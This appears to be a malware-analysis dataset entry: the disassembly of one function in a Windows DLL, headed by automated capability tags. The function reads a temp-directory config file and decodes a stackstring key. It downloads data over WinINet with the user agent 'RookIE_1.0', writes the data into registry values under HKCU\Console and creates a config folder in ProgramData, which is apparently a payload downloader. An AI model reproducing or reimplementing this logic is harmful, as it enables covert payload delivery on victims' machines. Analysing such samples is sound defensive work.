Function at 0x180005240
Capabilities:
Contain obfuscated stackstrings
Create directory
Create http request
Get common file path
Read data from internet
Receive data
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x600]
sub rsp, 0x700
lea rdx, [rbp + 0x4f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, [rbp + 0x4f0]
lea rdx, str._sconfig.ini
lea rcx, [0x180055180]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x2d0]
call fcn.180007b00
nop
xor r15d, r15d
mov qword [rsp + 0x60], r15
mov word [rsp + 0x68], 1
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x318]
mov qword [rsp + 0x50], rax
test rax, rax
sete byte [rsp + 0x58]
mov byte [rsp + 0x59], r15b
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.18000acc0
nop
lea rcx, [rbp + 0x2e0]
call fcn.180008570
test rax, rax
jne 0x180005345
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r9, [rbp + 0x2d0]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], r15
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.180002590
mov dword [rsp + 0x60], 0x61657771
mov dword [rsp + 0x64], 0x32316473
mov dword [rsp + 0x68], 0x63787a33
mov ecx, 0xc
call fcn.180015010
mov qword [rbp + 0xd0], rax
lea rbx, [rax + 0xc]
mov qword [rbp + 0xe0], rbx
mov r8d, 0xc
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.180017120
mov qword [rbp + 0xd8], rbx
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x20]
call fcn.180002be0
mov qword [rsp + 0x70], r15
mov rcx, r15
mov qword [rbp - 0x80], rcx
mov r8d, 0xf
mov qword [rbp - 0x78], r8
mov byte [rsp + 0x70], cl
mov rdi, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x20]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x1800053e6
lea rcx, [rsp + 0x70]
call fcn.180009550
mov rcx, r15
mov qword [rbp - 0x80], rcx
mov r8, qword [rbp - 0x78]
lea rax, [rsp + 0x70]
mov qword [rbp + 0x640], rax
cmp rbx, rdi
je 0x18000543e
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x180005422
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp r8, 0x10
cmovae rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x18000542c
lea rcx, [rsp + 0x70]
call fcn.1800096a0
inc rbx
cmp rbx, rdi
je 0x18000543e
mov r8, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x80]
jmp 0x1800053f7
lea rdx, str.__d_____._______.____
lea rcx, [rbp + 0x1a0]
call fcn.180006b50
nop
mov qword [rbp + 0x1d0], r15
mov byte [rbp + 0x1d8], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
mov qword [rbp + 0x200], r15
mov byte [rbp + 0x208], 0
movdqa xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x220], 0
mov qword [rbp + 0x228], r15
mov qword [rbp + 0x230], r15
mov byte [rbp + 0x238], 0
lea rcx, [rsp + 0x70]
mov rdx, qword [rbp - 0x80]
cmp qword [rbp - 0x78], 0x10
jb 0x1800054c2
mov rcx, qword [rsp + 0x70]
add rdx, rcx
jmp 0x1800054ca
add rdx, rcx
lea rcx, [rsp + 0x70]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rdx
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x50], rax
mov dword [rbp + 0x58], r15d
mov qword [rbp + 0x60], r15
mov byte [rbp + 0x68], 0
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmmword [rbp + 0x80], xmm1
mov qword [rbp + 0x90], r15
mov byte [rbp + 0x98], 0
movdqa xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0xb0], 0
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], r15
mov byte [rbp + 0xc8], 0
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x1a0]
lea r8, [rbp + 0x60]
call fcn.180009050
mov rbx, qword [rbp + 0x50]
test al, al
cmove rbx, r15
mov qword [rbp + 0x50], rbx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], r15
mov qword [rbp + 0x260], r15
mov byte [rbp + 0x268], 0
movdqa xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
mov qword [rbp + 0x290], r15
mov byte [rbp + 0x298], 0
movdqa xmmword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], r15
mov qword [rbp + 0x2c0], r15
mov byte [rbp + 0x2c8], 0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov ecx, 0x80
call fcn.180015010
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x70], rax
movabs r14, 0x2aaaaaaaaaaaaaab
mov rsi, qword [rbp + 0x70]
nop word [rax + rax]
test rbx, rbx
sete al
test al, al
jne 0x18000599c
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x130]
call fcn.180005130
nop
mov rcx, qword [rbp + 0x148]
mov rdi, qword [rbp + 0x140]
sub rcx, rdi
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x1800058aa
cmp byte [rdi + 0x28], 0
je 0x18000564f
movups xmm0, xmmword [rdi + 0x18]
movups xmmword [rsp + 0x50], xmm0
jmp 0x180005658
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
cmp rdx, r8
je 0x180005688
sub r8, rdx
lea rcx, [rbp - 0x60]
call fcn.1800086a0
nop
cmp byte [rdi + 0x40], 0
je 0x180005699
movups xmm0, xmmword [rdi + 0x30]
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800056a2
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
cmp rdx, r8
je 0x1800056d2
sub r8, rdx
lea rcx, [rbp - 0x40]
call fcn.1800086a0
nop
cmp byte [rdi + 0x58], 0
je 0x1800056e3
movups xmm0, xmmword [rdi + 0x48]
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800056ec
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
cmp rdx, r8
je 0x18000571c
sub r8, rdx
lea rcx, [rbp]
call fcn.1800086a0
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xe8]
call fcn.180007fb0
nop
lea rdx, [rbp]
lea rcx, [rbp + 0x108]
call fcn.180007fb0
nop
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.180008e50
mov rbx, qword [rax]
lea rdx, [rbp + 0xe8]
lea rcx, [rbx + 0x40]
call fcn.180007f20
lea rcx, [rbx + 0x60]
lea rdx, [rbp + 0x108]
call fcn.180007f20
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x1800057b5
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800057b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006273
call fcn.180015008
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x1800057f7
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800057f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006273
call fcn.180015008
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x180005833
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000582d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006279
call fcn.180015008
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x18000586f
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005869
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000627f
call fcn.180015008
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1800058aa
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800058a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006285
call fcn.180015008
mov rsi, qword [rbp + 0x70]
mov rbx, qword [rsi + 8]
cmp qword [rsi], rbx
jne 0x1800058f7
mov rdx, qword [rbp + 0x48]
cmp rbx, rdx
je 0x18000592a
mov ecx, dword [rbp + 0x58]
or ecx, 0x60
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x50]
lea r8, [rbp + 0x60]
mov rcx, rbx
call fcn.180009050
test al, al
jne 0x180005933
mov ecx, dword [rbp + 0x58]
bts ecx, 8
mov dword [rbp + 0x58], ecx
bts ecx, 0xe
jmp 0x180005901
mov ecx, dword [rbp + 0x58]
bts ecx, 8
mov dword [rbp + 0x58], ecx
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x50]
lea r8, [rbp + 0x60]
mov rdx, qword [rbp + 0x48]
mov rcx, rbx
call fcn.180009050
test al, al
jne 0x180005933
mov rsi, qword [rbp + 0x70]
mov rbx, r15
mov qword [rbp + 0x50], rbx
jmp 0x18000593b
mov rsi, qword [rbp + 0x70]
mov rbx, qword [rbp + 0x50]
test rdi, rdi
je 0x1800055f0
mov rcx, qword [rbp + 0x150]
sub rcx, rdi
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x18000598f
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000628b
mov rcx, rdi
call fcn.180015008
jmp 0x1800055f0
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x3e0]
call fcn.180017870
mov r8d, 0x104
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180006047
mov edx, 0x5c
lea rcx, [rbp + 0x3e0]
call fcn.180016fc4
test rax, rax
je 0x180006047
lea rdx, [rax + 1]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x180005a06
lea rcx, [rbp - 0x60]
call fcn.1800086a0
nop
lea rdx, [0x18004a038]
lea rcx, [rbp + 0xe8]
call fcn.180006b50
nop
mov qword [rbp + 0x130], r15
mov byte [rbp + 0x138], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x150], xmm1
mov qword [rbp + 0x160], r15
mov byte [rbp + 0x168], 0
movdqa xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x180], 0
mov qword [rbp + 0x188], r15
mov qword [rbp + 0x190], r15
mov byte [rbp + 0x198], 0
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
jb 0x180005a9f
mov rcx, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x50]
add rdx, rcx
mov r8, rcx
jmp 0x180005aab
lea rdx, [rbp - 0x60]
add rdx, qword [rbp - 0x50]
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x28], r8
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0xe8]
lea r8, [rbp + 0x130]
call fcn.180009050
test al, al
je 0x1800062cc
mov rcx, qword [rbp + 0x148]
mov r13, qword [rbp + 0x140]
sub rcx, r13
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
jne 0x1800062cc
cmp byte [r13 + 0x10], 0
je 0x180005b12
movups xmm0, xmmword [r13]
movups xmmword [rsp + 0x50], xmm0
jmp 0x180005b1b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rbp - 0x20], r15
mov rdi, r15
mov qword [rbp - 0x10], r15
mov eax, 0xf
mov qword [rbp - 8], rax
mov byte [rbp - 0x20], dil
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
cmp rdx, r8
je 0x180005b56
sub r8, rdx
lea rcx, [rbp - 0x20]
call fcn.1800086a0
mov rdi, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r14, qword [rbp - 0x70]
mov rbx, qword [r14 + 8]
mov r15, r14
mov r12, qword [rbp - 0x20]
cmp byte [rbx + 0x19], 0
jne 0x180005bcf
cmp rax, 0x10
setae r13b
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp - 0x20]
test r13b, r13b
cmovne rdx, r12
lea rcx, [rbx + 0x20]
cmp qword [rbx + 0x38], 0x10
jb 0x180005b9a
mov rcx, qword [rbx + 0x20]
mov r14, qword [rbx + 0x30]
mov r8, r14
cmp rdi, r14
cmovb r8, rdi
call fcn.180017a30
test eax, eax
je 0x180005c12
sets al
test al, al
jne 0x180005c17
mov r15, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x180005b80
mov r13, qword [rbp + 0x140]
mov r14, qword [rbp - 0x70]
cmp byte [r15 + 0x19], 0
jne 0x180005c22
lea rdx, [r15 + 0x20]
cmp qword [r15 + 0x38], 0x10
jb 0x180005be5
mov rdx, qword [r15 + 0x20]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, r12
mov rbx, qword [r15 + 0x30]
mov r8, rdi
cmp rbx, rdi
cmovb r8, rbx
call fcn.180017a30
test eax, eax
je 0x180005c1d
sets al
test al, al
jne 0x180005c22
jmp 0x180005c25
cmp r14, rdi
jae 0x180005bb8
mov rbx, qword [rbx + 0x10]
jmp 0x180005bbe
cmp rdi, rbx
jae 0x180005c25
mov r15, r14
cmp r15, r14
je 0x1800062b5
lea r8, [rbp - 0x20]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.180008e50
mov rdx, qword [rax]
add rdx, 0x40
lea rcx, [rbp - 0x40]
call fcn.180007fb0
nop
lea r8, [rbp - 0x20]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.180008e50
mov rdx, qword [rax]
add rdx, 0x60
lea rcx, [rbp]
call fcn.180007fb0
nop
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.18000ae60
mov rcx, rax
lea rdx, [0x180049e64]
call fcn.180008bd0
lea r12, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r12, qword [rbp]
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
mov ecx, 0x1000
call fcn.18001504c
mov r14, rax
mov dword [rbp + 0x640], 1
xor r15d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
mov qword [rbp + 0x650], rax
test rax, rax
je 0x180005e67
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
je 0x180005e5b
xor ebx, ebx
mov qword [rsp + 0x40], rbx
lea rax, [rbp + 0x648]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x180005e52
mov edi, ebx
cmp dword [rbp + 0x640], ebx
jbe 0x180005e1c
mov r8d, 0x1000
sub r8d, ebx
mov edx, ebx
add rdx, r14
lea r9, [rbp + 0x640]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rbp + 0x640]
test eax, eax
je 0x180005df4
add ebx, eax
cmp ebx, 0x1000
jne 0x180005df0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r14
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add edi, ebx
xor ebx, ebx
mov eax, dword [rbp + 0x640]
test eax, eax
jne 0x180005d92
test ebx, ebx
je 0x180005e1c
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r14
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add edi, ebx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r14
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rbp + 0x650]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r15d, r15d
mov rcx, r14
call fcn.180015008
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rcx, qword [rbp - 0x40]
lea rdx, [0x180055180]
call fcn.180002ab0
xor edx, edx
lea rcx, str.C:ProgramDataconfig
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rcx, qword [rbp - 0x40]
lea rdx, str.C:ProgramDataconfigconfig.ini
call fcn.180002ab0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x180005eee
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005ee9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006291
call fcn.180015008
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x180005f3a
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006297
call fcn.180015008
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x180005f76
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000629d
call fcn.180015008
nop
movabs r14, 0x2aaaaaaaaaaaaaab
test r13, r13
je 0x180005fd9
mov rcx, qword [rbp + 0x150]
sub rcx, r13
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r13
cmp rdx, 0x1000
jb 0x180005fd0
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062a3
mov rcx, r13
call fcn.180015008
nop
lea rcx, [rbp + 0xe8]
call fcn.1800082d0
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x18000600b
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000600b
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180006047
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006041
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062a9
call fcn.180015008
nop
mov r8, qword [rbp - 0x70]
mov r8, qword [r8 + 8]
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x70]
call fcn.18000b070
mov edx, 0x80
mov rcx, qword [rbp - 0x70]
call fcn.180015008
nop
test rsi, rsi
je 0x1800060c4
mov rcx, qword [rbp + 0x80]
sub rcx, rsi
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rsi
cmp rdx, 0x1000
jb 0x1800060bb
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062af
mov rcx, rsi
call fcn.180015008
nop
lea rcx, [rbp + 0x1a0]
call fcn.1800082d0
mov rcx, qword [rbp + 0x1c0]
test rcx, rcx
je 0x1800060f6
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800060f6
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180006132
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000612d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062e3
call fcn.180015008
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rcx, qword [rbp + 0xd0]
test rcx, rcx
je 0x180006184
mov rdx, qword [rbp + 0xe0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000617e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062e9
call fcn.180015008
nop
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x1800061ca
mov rdx, qword [rbp + 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800061b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000626d
call fcn.180015008
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2cc], edx
lea rcx, [rbp + 0x2e0]
call fcn.180007840
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x380], rax
lea rcx, [rbp + 0x380]
call fcn.180013e3c
nop
mov rbx, qword [rsp + 0x758]
add rsp, 0x700
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
call fcn.180020f1c
nop
lea rcx, [0x180055070]
call fcn.18001c560
mov ecx, 1
call fcn.18001b848
nop
lea rcx, [0x180055070]
call fcn.18001c560
mov ecx, 1
call fcn.18001b848
nop
call fcn.180020f1c
nop
call fcn.180020f1c
int3